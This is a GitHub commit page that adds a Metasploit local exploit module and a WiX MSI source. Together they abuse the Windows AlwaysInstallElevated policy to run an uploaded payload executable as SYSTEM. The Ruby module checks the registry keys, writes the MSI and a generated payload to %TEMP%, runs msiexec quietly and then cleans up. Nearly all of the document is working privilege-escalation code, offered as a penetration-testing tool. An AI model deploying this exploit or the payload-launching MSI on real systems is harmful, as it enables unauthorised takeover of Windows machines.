Skip to content

Commit fd1557b

Browse files
author
jvazquez-r7
committed
Merge branch 'msi_elevated' of https://github.com/Meatballs1/metasploit-framework into Meatballs1-msi_elevated
2 parents 95f084b + 7fea0d4 commit fd1557b

File tree

2 files changed

+203
-0
lines changed

2 files changed

+203
-0
lines changed

‎external/source/exploits/exec_payload_msi/exec_payload.wxs

Lines changed: 29 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
<?xml version='1.0' encoding='windows-1252'?>
2+
<Wix xmlns='http://schemas.microsoft.com/wix/2006/wi'>
3+
<Product Name='Foobar 1.0' Id='*'
4+
Language='1033' Codepage='1252' Version='1.0.0' Manufacturer='Acme Ltd.'>
5+
6+
<Package InstallerVersion="100" Languages="0" Manufacturer="Acme Ltd." ReadOnly="no" />
7+
8+
<Media Id='1' Cabinet='product.cab' EmbedCab='yes' />
9+
10+
<Directory Id='TARGETDIR' Name='SourceDir'>
11+
<Component Id='MyComponent' Guid='12345678-1234-1234-1234-123456789012'>
12+
<Condition>0</Condition>
13+
</Component>
14+
</Directory>
15+
16+
<!-- Execute must be deferred and Impersonate no to run as a higher privilege level -->
17+
<CustomAction Id='ExecNotepad' Directory='TARGETDIR' Impersonate='no' Execute='deferred' ExeCommand='[SourceDir]payload.exe' Return='asyncNoWait'/>
18+
19+
<Feature Id='Complete' Level='1'>
20+
<ComponentRef Id='MyComponent' />
21+
</Feature>
22+
23+
<InstallExecuteSequence>
24+
<ResolveSource After="CostInitialize" />
25+
<Custom Action="ExecNotepad" After="InstallInitialize" />
26+
</InstallExecuteSequence>
27+
28+
</Product>
29+
</Wix>

‎modules/exploits/windows/local/always_install_elevated.rb

Lines changed: 174 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,174 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
require 'rex'
10+
require 'msf/core/post/windows/registry'
11+
require 'msf/core/post/common'
12+
require 'msf/core/post/file'
13+
14+
class Metasploit3 < Msf::Exploit::Local
15+
Rank = AverageRanking
16+
17+
include Msf::Exploit::EXE
18+
include Msf::Post::Common
19+
include Msf::Post::File
20+
include Msf::Post::Windows::Registry
21+
22+
def initialize(info={})
23+
super(update_info(info, {
24+
'Name' => 'Windows AlwaysInstallElevated MSI',
25+
'Description' => %q{
26+
This module checks the AlwaysInstallElevated registry keys which
27+
dictate if .MSI files should be installed with elevated privileges
28+
(NT AUTHORITY\SYSTEM).
29+
30+
The default MSI file is data/exploits/exec_payload.msi with the WiX source
31+
file under external/source/exploits/exec_payload_msi/exec_payload.wxs.
32+
This MSI simply executes payload.exe within the same folder.
33+
34+
The MSI may not execute succesfully successive times, but may be able to
35+
get around this by regenerating the MSI.
36+
37+
MSI can be rebuilt from the source using the WIX tool with the following commands:
38+
candle exec_payload.wxs
39+
light exec_payload.wixobj
40+
},
41+
'License' => MSF_LICENSE,
42+
'Author' =>
43+
[
44+
'Ben Campbell',
45+
'Parvez Anwar' # discovery?/inspiration
46+
],
47+
'Arch' => [ ARCH_X86, ARCH_X86_64 ],
48+
'Platform' => [ 'win' ],
49+
'SessionTypes' => [ 'meterpreter' ],
50+
'DefaultOptions' =>
51+
{
52+
'WfsDelay' => 10,
53+
'EXITFUNC' => 'thread',
54+
'InitialAutoRunScript' => 'migrate -k -f'
55+
},
56+
'Targets' =>
57+
[
58+
[ 'Windows', { } ],
59+
],
60+
'References' =>
61+
[
62+
[ 'URL', 'http://www.greyhathacker.net/?p=185' ],
63+
[ 'URL', 'http://msdn.microsoft.com/en-us/library/aa367561(VS.85).aspx' ],
64+
[ 'URL', 'http://wix.sourceforge.net'] ,
65+
],
66+
'DisclosureDate'=> 'Mar 18 2010',
67+
'DefaultTarget' => 0
68+
}))
69+
70+
register_advanced_options([
71+
OptString.new('LOG_FILE', [false, 'Remote path to output MSI log file to.', nil]),
72+
OptBool.new('QUIET', [true, 'Run the MSI with the /quiet flag.', true])
73+
], self.class)
74+
end
75+
76+
def check
77+
install_elevated = "AlwaysInstallElevated"
78+
installer = "SOFTWARE\\Policies\\Microsoft\\Windows\\Installer"
79+
hkcu = "HKEY_CURRENT_USER\\#{installer}"
80+
hklm = "HKEY_LOCAL_MACHINE\\#{installer}"
81+
82+
local_machine_value = registry_getvaldata(hklm,install_elevated)
83+
84+
if local_machine_value.nil?
85+
print_error("#{hklm}\\#{install_elevated} does not exist or is not accessible.")
86+
return Msf::Exploit::CheckCode::Safe
87+
elsif local_machine_value == 0
88+
print_error("#{hklm}\\#{install_elevated} is #{local_machine_value}.")
89+
return Msf::Exploit::CheckCode::Safe
90+
else
91+
print_good("#{hklm}\\#{install_elevated} is #{local_machine_value}.")
92+
current_user_value = registry_getvaldata(hkcu,install_elevated)
93+
94+
if current_user_value.nil?
95+
print_error("#{hkcu}\\#{install_elevated} does not exist or is not accessible.")
96+
return Msf::Exploit::CheckCode::Safe
97+
elsif current_user_value == 0
98+
print_error("#{hkcu}\\#{install_elevated} is #{current_user_value}.")
99+
return Msf::Exploit::CheckCode::Safe
100+
else
101+
print_good("#{hkcu}\\#{install_elevated} is #{current_user_value}.")
102+
return Msf::Exploit::CheckCode::Vulnerable
103+
end
104+
end
105+
end
106+
107+
def cleanup
108+
if @executed
109+
begin
110+
print_status("Deleting MSI...")
111+
file_rm(@msi_destination)
112+
rescue Rex::Post::Meterpreter::RequestError => e
113+
print_error(e.to_s)
114+
print_error("Failed to delete MSI #{@msi_destination}, manual cleanup may be required.")
115+
end
116+
117+
begin
118+
print_status("Deleting Payload...")
119+
file_rm(@payload_destination)
120+
rescue Rex::Post::Meterpreter::RequestError => e
121+
print_error(e.to_s)
122+
print_error("Failed to delete payload #{@payload_destination}, this is expected if the exploit is successful, manual cleanup may be required.")
123+
end
124+
end
125+
end
126+
127+
def exploit
128+
@executed = false
129+
if check == Msf::Exploit::CheckCode::Vulnerable
130+
@executed = true
131+
132+
msi_filename = "exec_payload.msi" # Rex::Text.rand_text_alpha((rand(8)+6)) + ".msi"
133+
msi_source = ::File.join(Msf::Config.install_root, "data", "exploits", "exec_payload.msi")
134+
135+
# Upload MSI
136+
@msi_destination = expand_path("%TEMP%\\#{msi_filename}").strip # expand_path in Windows Shell adds a newline and has to be stripped
137+
print_status("Uploading the MSI to #{@msi_destination} ...")
138+
139+
#upload_file - ::File.read doesn't appear to work in windows...
140+
source = File.open(msi_source, "rb"){|fd| fd.read(fd.stat.size) }
141+
write_file(@msi_destination, source)
142+
143+
# Upload payload
144+
payload = generate_payload_exe
145+
@payload_destination = expand_path("%TEMP%\\payload.exe").strip
146+
print_status("Uploading the Payload to #{@payload_destination} ...")
147+
write_file(@payload_destination, payload)
148+
149+
# Execute MSI
150+
print_status("Executing MSI...")
151+
152+
if datastore['LOG_FILE'].nil?
153+
logging = ""
154+
else
155+
logging = "/l* #{datastore['LOG_FILE']} "
156+
end
157+
158+
if datastore['QUIET']
159+
quiet = "/quiet "
160+
else
161+
quiet = ""
162+
end
163+
164+
cmd = "msiexec.exe #{logging}#{quiet}/package #{@msi_destination}"
165+
vprint_status("Executing: #{cmd}")
166+
begin
167+
result = cmd_exec(cmd)
168+
rescue Rex::TimeoutError
169+
vprint_status("Execution timed out.")
170+
end
171+
vprint_status("MSI command-line feedback: #{result}")
172+
end
173+
end
174+
end

0 commit comments

Comments
 (0)